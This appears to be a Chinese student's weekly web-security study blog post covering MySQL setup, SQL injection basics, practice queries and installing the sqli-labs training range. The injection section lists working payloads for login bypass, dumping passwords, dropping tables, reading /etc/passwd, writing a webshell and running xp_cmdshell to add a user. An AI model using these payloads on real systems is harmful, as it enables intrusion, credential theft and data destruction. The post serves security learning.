news 2026/3/1 6:39:34

【Web第三周】『12.9-12.14』

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Web第三周】『12.9-12.14』

【Web第三周】『12.9-12.14』

1.初步了解数据库(MySQL) 2.初步了解sql注入漏洞 3.练习sql语句

4.搭建sql靶场,找不到的,靶场文件群文件有

1MySQL

  1. mysql:MySQL服务的客户端
  2. mysqld:MySQL服务的服务端

两者结合在一起才是MySQL,是一种网络服务。

MySQL是一套给我们通过数据存取服务的网络程序,而数据库一般指在磁盘或者内存中存储的特定结构的数据。数据库本质是对数据存储管理的一套解决方案。

---在 Ubuntu 上安装 MySQL 可使用如下命令:

1bash深色版本

2sudo apt update

3sudo apt install mysql-server

安装完成后,建议运行安全脚本加强数据库的安全性:

1bash深色版本

2sudo mysql_secure_installation

MySQL 的基本操作

  1. 启动与停止服务 bash深色版本

sudo systemctl start mysql sudo systemctl stop mysql sudo systemctl restart mysql

  1. 登录数据库 bash深色版本 mysql -u root -p 输入密码后即可进入 MySQL 命令行界面。
  2. 创建数据库与用户 sql深色版本

CREATE DATABASE mydb;

CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON mydb.* TO 'myuser'@'localhost';

FLUSH PRIVILEGES;

  1. 表结构设计示例 sql深色版本

USE mydb;

CREATE TABLE users (

id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL UNIQUE,

email VARCHAR(100),

created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP

);

  1. 插入与查询数据 sql深色版本

INSERT INTO users (username, email) VALUES ('john_doe', 'john@example.com'); SELECT * FROM users;

2、初步了解sql注入漏洞

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而操控后端数据库查询,获取、修改或删除数据库中的敏感数据。

基本原理

[SQL注入漏洞]产生的原因是应用程序将用户输入直接拼接到SQL查询语句中,而没有进行适当的过滤或参数化处理。当恶意输入被当作SQL代码执行时,就可能导致非预期的数据库操作。

sql的功能

  1. 数据泄露(绕过登录验证)具体操作:

-- 输入用户名: admin' --

-- 输入密码: (任意值)

-- 实际执行的SQL:

SELECT * FROM users WHERE username='admin' --' AND password='xxx' 效果:注释掉密码检查,直接以 admin 身份登录。

  1. 数据泄露(获取数据库内容)具体操作:

-- 正常查询:

SELECT title, content FROM articles WHERE id=1

-- 注入攻击:

1' UNION SELECT username, password FROM users -效果:返回 users 表中的账号密码数据。

  1. 数据篡改(修改数据库记录)具体操作:

-- 正常更新:

UPDATE profile SET bio='Hello' WHERE user_id=100

-- 注入攻击:

100'; UPDATE users SET password='hacked' WHERE username='admin' -效果:修改 admin 的密码为 hacked。

  1. 数据删除(清空数据库表)具体操作:

-- 正常删除:

DELETE FROM orders WHERE order_id=123

-- 注入攻击:

123'; DROP TABLE users --

效果:删除整个 users 表,导致数据丢失。

  1. 权限提升(创建管理员账户)具体操作:

-- 正常插入:

INSERT INTO customers (name, email) VALUES ('test', 'test@example.com')

-- 注入攻击:

test', 'test@example.com'); INSERT INTO admins (username, password) VALUES ('hacker', 'p@ssw0rd') -效果:在 admins 表中插入一个管理员账户。

  1. 服务器文件读取(获取敏感文件)具体操作(MySQL): -- 注入攻击:

1' UNION SELECT LOAD_FILE('/etc/passwd'), NULL --

效果:返回服务器的 /etc/passwd 文件内容(Linux用户信息)。

  1. 服务器文件写入(上传Webshell)具体操作(MySQL): -- 注入攻击:

1' UNION SELECT "", NULL INTO OUTFILE '/var/www/html/shell.php' -效果:在网站根目录写入 shell.php,攻击者可执行任意命令。

  1. 操作系统命令执行(控制服务器)具体操作(SQL Server): -- 注入攻击:

1'; EXEC xp_cmdshell 'net user hacker P@ssw0rd /add' -效果:在服务器上创建新用户 hacker,用于远程登录。

3sql练习

常见练习类型与示例条件查询

SELECT ENAME, SAL

FROM emp

WHERE SAL BETWEEN 1000 AND 2000;

字符串处理

SELECT CONCAT(UPPER(SUBSTRING(ENAME,1,1)), LOWER(SUBSTRING(ENAME,2))) AS name FROM emp;

日期函数应用

SELECT ENAME, HIREDATE, TIMESTAMPDIFF(YEAR, HIREDATE, NOW()) AS work_years FROM emp; 分组与聚合

SELECT DEPTNO, AVG(SAL) AS avg_sal

FROM emp

GROUP BY DEPTNO;

4、搭建sql靶场

1、将sql安装包压缩到D:/phpstudy_pro/WWW/

把这个安装包解压到phpstudy的网站根目录下,比如D:/phpstudy_pro/WWW/

2、修改数据库配置文件:

sqli-labs/sql-connections/db-creds.inc

注意phpstudy自带的数据库默认密码是root

数据库会自动创建,只要配置好用户名、密码、主机地址就可以。

改好以后保存。

3、打开phpstudy,添加网站。

这一步除了填写域名,其他的都不用改。

注意区分名字是下划线_还是横杠-。

注意:PHP版本必须是php7,因为这个代码是php7的版本

部署成功以后Apache会自动重启,访问地址(后面的路径就是输入的域名,跟文件路径一致):

http://localhost/sqli-labs

4、初始化数据库

点击 Setup/reset Database for labs

看见这个就成功了,数据库只需要初始化一次,以后都不需要再点击这个重置数据库(reset db)的链接,除非误删数据或者换了数据库地址。

6、开始玩耍

回到首页,从page1开始,就可以愉快地玩耍了。

点击链接可以进入对应的关卡。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/21 19:12:07

RustDesk隐私模式:实现远程操作完全隐藏的专业解决方案

RustDesk隐私模式:实现远程操作完全隐藏的专业解决方案 【免费下载链接】rustdesk 一个开源的远程桌面,是TeamViewer的替代选择。 项目地址: https://gitcode.com/GitHub_Trending/ru/rustdesk 在当今数字化工作环境中,远程桌面协助已…

作者头像 李华
网站建设 2026/2/10 10:25:50

如何快速掌握Lottie-web:提升开发效率的完整指南

如何快速掌握Lottie-web:提升开发效率的完整指南 【免费下载链接】lottie-web 项目地址: https://gitcode.com/gh_mirrors/lot/lottie-web 你是否曾经为网页动画效果而苦恼?手动编写复杂的CSS动画代码,调试各种浏览器兼容性问题&…

作者头像 李华
网站建设 2026/2/26 18:53:39

AI崛起,月薪5万的码农面临失业?未来职业何去何从?

AI工具崛起使基础编程工作被替代,初级程序员岗位需求断崖式下跌,薪资缩水20%。程序员职业分化为高端人才与普通使用者,转行成为常态。然而,技能虽会过时,编程思维永不过时。掌握大模型技能,提升核心竞争力&…

作者头像 李华
网站建设 2026/2/25 3:14:34

25.本地yum仓库搭建--CentOS 7

在CentOS 7中从外网下载完整YUM源包并搭建本地仓库的核心思路是:先通过外网环境同步官方/第三方YUM源的所有软件包到本地目录,再基于该目录搭建本地YUM仓库(HTTP/FTP/本地),最终实现离线环境下的软件安装。以下是完整的…

作者头像 李华
网站建设 2026/2/23 9:16:20

2026年AI引擎优化、GEO优化软件选型指南, 企业如何低成本布局AI搜索流量

GEO优化软件哪个好 深度解析五大主流工具的功能与性价比随着人工智能技术的飞速迭代,用户获取信息的方式正在从传统的关键词搜索向AI对话式搜索转变。DeepSeek、豆包、元宝等AI引擎的崛起,使得生成式引擎优化即GEO成为了品牌营销的新战场。对于中小企业和…

作者头像 李华